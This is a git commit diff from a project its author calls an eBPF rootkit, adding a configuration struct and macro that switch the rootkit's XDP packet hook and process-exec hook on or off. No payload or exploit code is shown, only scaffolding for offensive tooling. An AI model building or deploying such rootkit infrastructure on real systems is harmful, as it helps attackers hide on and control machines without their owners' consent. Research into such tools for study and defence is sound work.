Included a global config struct for controlling which hooks and functions of the rootkit should be active. Still work to be done in the bpf side

This commit is contained in:
h3xduck
2021-12-31 09:54:47 -05:00
parent d9a70f866c
commit 0863566292
13 changed files with 60 additions and 1204 deletions

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,7 +5,7 @@ LLVM_STRIP ?= llvm-strip
BPFTOOL ?= $(abspath ./tools/bpftool)
LIBBPF_SRC := $(abspath ./libbpf/src)
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
USER_INCLUDES_DIR := $(abspath ./user/include/utils)
USER_INCLUDES_DIR := $(abspath ./user/include/)
USER_INCLUDES_HDR := $(wildcard $(USER_INCLUDES_DIR)/**/*.h)
USER_INCLUDES_SRC := $(wildcard $(USER_INCLUDES_DIR)/**/*.c)
USER_INCLUDES_OBJ := $(USER_INCLUDES_SRC:.c=.o)

Binary file not shown.

View File

@@ -0,0 +1,14 @@
#ifndef __MODULES_H
#define __MODULES_H
#define RETURN_VALUE_MODULE_NONACTIVE -1
//Access user-defined config
#include "../../user/include/modules/module_manager.h"
#define CHECK_MODULE_ACTIVE(module, func)\
if( module_config. module##_module.all != ON){\
return RETURN_VALUE_MODULE_NONACTIVE;\
}
#endif

View File

@@ -1,5 +1,5 @@
#ifndef __COMMON_UTILS_H__
#define __COMMON_UTILS_H__
#ifndef __UTILS_STRINGS_H__
#define __UTILS_STRINGS_H__
/**
* Compares two strings.

View File

@@ -29,10 +29,11 @@
#include "packet/packet_manager.h"
#include "packet/protocol/tcp_helper.h"
#include "xdp/xdp_helper.h"
#include "common/common_utils.h"
#include "utils/strings.h"
//BPF modules to load
#include "include/bpf/fs.h"
#include "include/utils/modules.h" //Config
#include "include/bpf/sched.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
@@ -45,8 +46,8 @@ struct eth_hdr {
SEC("xdp_prog")
int xdp_receive(struct xdp_md *ctx)
{
int xdp_receive(struct xdp_md *ctx){
CHECK_MODULE_ACTIVE(xdp, __FUNCTION__);
//bpf_printk("BPF triggered\n");
void *data_end = (void *)(long)ctx->data_end;

View File

@@ -0,0 +1,12 @@
#include "module_manager.h"
module_config_t module_config = {
.xdp_module = {
.all = ON,
.xdp_receive = ON
},
.sched_module = {
.all = ON,
.handle_sched_process_exec = ON
}
};

View File

@@ -1,10 +1,25 @@
#ifndef __MOD_MANAGER_H
#define __MOD_MANAGER_H
#include <unistd.h>
#include <stdint.h>
struct module_config{
//TODO
};
#define ON 1
#define OFF 0
//Centralized configutation struct
typedef struct module_config_t{
struct xdp_module {
char all;
char xdp_receive;
} xdp_module;
struct sched_module {
char all;
char handle_sched_process_exec;
}sched_module;
} module_config_t;
extern module_config_t module_config;
#endif

View File

@@ -7,6 +7,7 @@
#include <linux/if_link.h>
#include <net/if.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include "xdp_filter.skel.h"
@@ -23,6 +24,7 @@ static struct env {
} env;
void print_help_dialog(const char* arg){
printf("\nUsage: %s ./xdp_filter OPTION\n\n", arg);
printf("Program OPTIONs\n");
char* line = "-t[NETWORK INTERFACE]";